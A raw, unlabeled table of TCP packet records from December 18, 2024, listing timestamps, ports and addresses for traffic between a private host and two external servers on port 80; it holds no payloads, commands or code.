Dec 18, 2024 11:09:05.676002979 CET	49862	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:05.796130896 CET	80	49862	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:07.023674011 CET	80	49862	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:07.023757935 CET	49862	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:08.532529116 CET	49862	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:08.532850027 CET	49871	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:08.652436018 CET	80	49871	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:08.652554989 CET	80	49862	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:08.652677059 CET	49862	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:08.652892113 CET	49871	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:08.652892113 CET	49871	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:08.772547960 CET	80	49871	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:09.993032932 CET	80	49871	185.215.113.43	192.168.2.6
Dec 18, 2024 11:09:09.993171930 CET	49871	80	192.168.2.6	185.215.113.43
Dec 18, 2024 11:09:09.998320103 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:10.117994070 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:10.118154049 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:10.118413925 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:10.238632917 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.447705984 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.447771072 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.447808027 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.447819948 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.447853088 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.447937012 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.447946072 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.447947025 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.447992086 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.448071957 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.448111057 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.448132038 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.448156118 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.448177099 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.448182106 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.448209047 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.448226929 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.569111109 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.569216967 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.569216967 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.569264889 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.573353052 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.573395967 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.639753103 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.639866114 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.639883041 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.639959097 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.643889904 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.643934965 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.643994093 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.644033909 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.652319908 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.652404070 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.652436972 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.652494907 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.660680056 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.660754919 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.660758972 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.660815001 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.669017076 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.669039011 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.669099092 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.677442074 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.677521944 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.677525997 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.677622080 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.685805082 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.685874939 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.685910940 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.685952902 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.694148064 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.694192886 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.694226980 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.694262981 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.702564955 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.702611923 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.702622890 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.702665091 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.711072922 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.711155891 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.711235046 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.718677044 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.718759060 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.718835115 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.759424925 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.759480000 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.759557962 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.759599924 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.832493067 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.832571030 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.832577944 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.832614899 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.833965063 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.834016085 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.834041119 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.834081888 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.838294029 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.838340044 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.838354111 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.838398933 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.842994928 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.843040943 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.843084097 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.843127012 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.847636938 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.847683907 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.847752094 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.847791910 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.852343082 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.852386951 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.852431059 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.852471113 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.856997967 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.857045889 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.857089043 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.857129097 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.861602068 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.861646891 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.861701012 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.861740112 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.866255999 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.866300106 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.866373062 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.866413116 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.870923042 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.870969057 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.871012926 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.871052980 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.875525951 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.875570059 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.875613928 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.875652075 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.880201101 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.880227089 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.880245924 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.880264997 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.884870052 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.884912014 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.884962082 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.885003090 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.889534950 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.889581919 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.889844894 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.889888048 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.893126965 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.893174887 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.893249035 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.893287897 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.896773100 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.896817923 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.896888971 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.896929026 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.900369883 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.900417089 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.900480986 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.900521040 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.904030085 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.904073954 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.904134035 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.904176950 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.907706976 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.907761097 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.907864094 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.907905102 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.911331892 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.911375046 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.911448002 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.911489010 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.915092945 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.915136099 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.915175915 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.915215969 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:11.918577909 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:11.918623924 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.022377968 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.022444010 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.022461891 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.022492886 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.023803949 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.023849964 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.023905993 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.023947954 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.026709080 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.026751041 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.026787996 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.026828051 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.029592037 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.029632092 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.029689074 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.029731989 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.032500982 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.032547951 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.032578945 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.032617092 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.035290003 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.035331964 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.035373926 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.035413027 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.037981987 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.038023949 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.038034916 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.038060904 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.040669918 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.040700912 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.040718079 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.040734053 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.043252945 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.043510914 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.043530941 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.043550968 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.045814037 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.045866013 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.045909882 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.045943022 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.048506021 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.048543930 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.048648119 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.048682928 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.051080942 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.051153898 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.051156044 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.051192999 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.053683043 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.053746939 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.053827047 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.053903103 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.056273937 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.056365013 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.056415081 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.058888912 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.058939934 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.059024096 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.059062004 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.061438084 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.061630011 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.061678886 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.064007044 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.064210892 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.064264059 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.066586971 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.066637039 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.066680908 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.066720009 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.069192886 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.069292068 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.069365025 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.071814060 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.071916103 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.071974039 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.074378967 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.074435949 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.074508905 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.074554920 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.076958895 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.077058077 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.077096939 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.079535007 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.079632998 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.079685926 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.082122087 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.082165956 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.082293034 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.082333088 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.084717035 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.084758043 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.084774971 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.084811926 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.087343931 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.087373018 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.087389946 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.087405920 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.089926958 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.089993000 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.090013981 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.090050936 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.092503071 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.092545986 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.092595100 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.092629910 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.095057011 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.095107079 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.095171928 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.095212936 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.097677946 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.097723007 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.097780943 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.097819090 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.100284100 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.100328922 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.100337982 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.100373030 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.102883101 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.102926016 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.103004932 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.103053093 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.105464935 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.105509043 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.105576992 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.105618000 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.108074903 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.108114958 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.108160019 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.108196974 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.110768080 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.110810041 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.110955000 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.110997915 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.113240957 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.113281012 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.113296032 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.113357067 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.115822077 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.115869999 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.116008043 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.116048098 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.118359089 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.118397951 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.214209080 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.214313030 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.214350939 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.214396000 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.215280056 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.215342045 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.215348005 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.215389013 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.217463970 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.217508078 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.217575073 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.217617035 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.219723940 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.219770908 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.219772100 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.219805002 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.221803904 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.221851110 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.221920013 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.221961021 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.223881006 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.223922968 CET	49877	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:12.224004030 CET	80	49877	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:12.224050999 CET	49877	80	192.168.2.6	31.41.244.11
